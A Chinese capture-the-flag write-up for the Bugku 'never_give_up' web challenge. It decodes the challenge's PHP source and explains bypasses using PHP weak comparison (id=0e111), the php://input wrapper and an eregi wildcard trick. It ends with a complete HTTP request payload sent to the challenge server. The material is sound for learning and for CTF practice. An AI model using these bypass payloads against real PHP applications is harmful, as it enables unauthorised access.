打开题目f12有提示,打开后跳转到bugku首页,直接view-source查看源码

view-source:http://114.67.175.224:11378/1p.html

php源码在-- --之间,前面可以看到一个javascript的bugku.com的跳转。
源码被base64+urlencode过,先base64在urldecode

得到源码如下:

if(!$_GET['id'])
{header('Location: hello.php?id=1');//id为空则重定向至hello.phpexit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';//a中有.则结束函数运行return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}

关键就在于最后一个if判断
介绍一下本代码的几个关键函数:stripos匹配,类似preg_match
eregi匹配,注意111和substr函数之间是. 是拼接的意思

strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

这句的意思是b要长度大于5,且111拼接b要为1114,且b的第一位要不为4
eregi存在漏洞,能用*的通配符绕过,所以可以使b=*111111

前面!GET[id]=0要等于0才能进入if判断,后面要id==0,==弱比较,使用科学计数法id=0e111就可以了

a要不含.且以读的方式等于bugku is a nice plateform!
如果a以get方式传参传入这串字符串,在file_get_contents的时候会读不到信息,需要post才能读
所以利用php的伪协议a=php://input 然后POST数据bugku is a nice plateform!
request包给上,payload:

GET /?id=0e111&a=php://input&b=*111111 HTTP/1.1
Host: 114.67.175.224:11378
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1639376942; _ga=GA1.1.1746011181.1639376945; _gid=GA1.1.764288454.1639376945; Hm_lpvt_c1b044f909411ac4213045f0478e96fc=1639377178
Upgrade-Insecure-Requests: 1
Content-Length: 26bugku is a nice plateform!

至于为什么用hackbar不行,我也不知道

bugku never_give_up相关推荐

  1. 网站cookie和曲奇饼干_谷歌扔饼干和营销人员感到恶心

    网站cookie和曲奇饼干 By Josh Coon, Mike DiCaprio & Ken McVeagh 乔什·库恩(Josh Coon),迈克·迪卡普里奥(Mike DiCaprio) ...

  2. 不曾想过 未来的_未来想要什么

    不曾想过 未来的 A look at how digital technologies designed for young people are often addictive, unhealthy ...

  3. php 伪协议 lfi,php://伪协议(I/O)总能给你惊喜——Bugku CTF-welcome to bugkuctf

    今天一大早BugkuCTF 的welcome to bugkuctf 就给了我一发暴击:完全不会啊...光看源码就发现不知道怎么处理了,于是转向writeup求助.结果发现这是一道非常有营养的题目,赶 ...

  4. BUGKU 密码题:这不是摩斯密码

    BUGKU 密码题:这不是摩斯密码 这不是摩斯密码 打开文件,发现如下符号: 可以发现,符号都是由> < + - . , [ ]来组成.那么显然,这个是Brainfuck加密.这里推荐一个 ...

  5. Bugku——Web——矛盾

    题目链接:http://ctf.bugku.com/challenges#矛盾:http://123.206.87.240:8002/get/index1.php 解题步骤: 1.is_numeric ...

  6. 输入密码查看flag(详解)——Bugku

    刚刚做了bugku的题目,现在整理一下 写出解题思路,希望能够帮助到那些需要帮助的人 所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找, 希望你们不要责怪!!共勉!!! Ch ...

  7. 点击一百万次(详解)——bugku

    刚刚做了bugku的题目,现在整理一下 写出解题思路,希望能够帮助到那些需要帮助的人 所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找, 希望你们不要责怪!!共勉!!! Ch ...

  8. bugku——web 做题记录

    Table of Contents 2,秋名山车神: 3,速度要快 4 welcome to the bugkuctf 1,login1(sql约束攻击) sql约束攻击: 2,过狗一句话 3,细心 ...

  9. bugku ——加密 做题记录

    目录 1,滴答-滴 2,聪明的小羊 3,ok 4这不是摩斯密码 5,easy_crypto 6,简单加密 7,散乱的密文 8 凯撒部长的奖励 9,一段base64 10,.!? 11,+[]-(Bra ...

最新文章

  1. 除了数据还是数据?2018年5大 AI (人工智能)预测
  2. java 和javafx_Java,JavaFX的流利设计风格文本字段和密码字段
  3. nanshan 钥匙在您那儿的
  4. 无心剑中译罗素《此生何求?》
  5. 串口(USART)通信-串口通讯协议简介
  6. 使用Git初始化项目时操作
  7. docker基础+registry
  8. python二维列表转字典_在Python中字符串、列表、元组、字典之间的相互转换
  9. linux上scrapy项目的创建,Python网络爬虫4 ---- Linux下编写最简单的scrapy网络爬虫项目...
  10. PC浏览器如何设置代理
  11. 云栖大会马总演讲:《未来属于善于拥抱未来的人》
  12. 情报监视和侦察的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  13. python做个奶茶店程序
  14. for循环的auto用法
  15. spring源码解析之IOC核心体系结构
  16. 316不锈钢盐雾测试
  17. linux驱动K10运算卡,NVIDIA TESLA K10 GPU 运算卡 K20 C2075 C2050
  18. R语言基于lm模型构建线性回归模型(蟋蟀的鸣叫声与温度的关系)、计算回归模型的RMSE指标、计算回归模型的R方指标(R-squared)
  19. 微电子学与计算机格式范文,微电子学与计算机
  20. 利用shell脚本定时执行程序

热门文章

  1. NOIP2017 游记
  2. python opencv图像二值化函数_python opencv 二值化 计算白色像素点的实例
  3. 【听书笔记-0515】-《清单革命》
  4. 金融断直连,正式开始落地!
  5. Frame 与JFrame 的区别
  6. ContentSizeFitter 无法感知文本内容高度
  7. BZOJ 3265 志愿者招募加强版 单纯形
  8. 本周大新闻|苹果MR已进行Pre-EVT测试,Quest 2涨价100美元
  9. jQuery 选择器 选取第一个 p 元素
  10. C#测试网络连接测试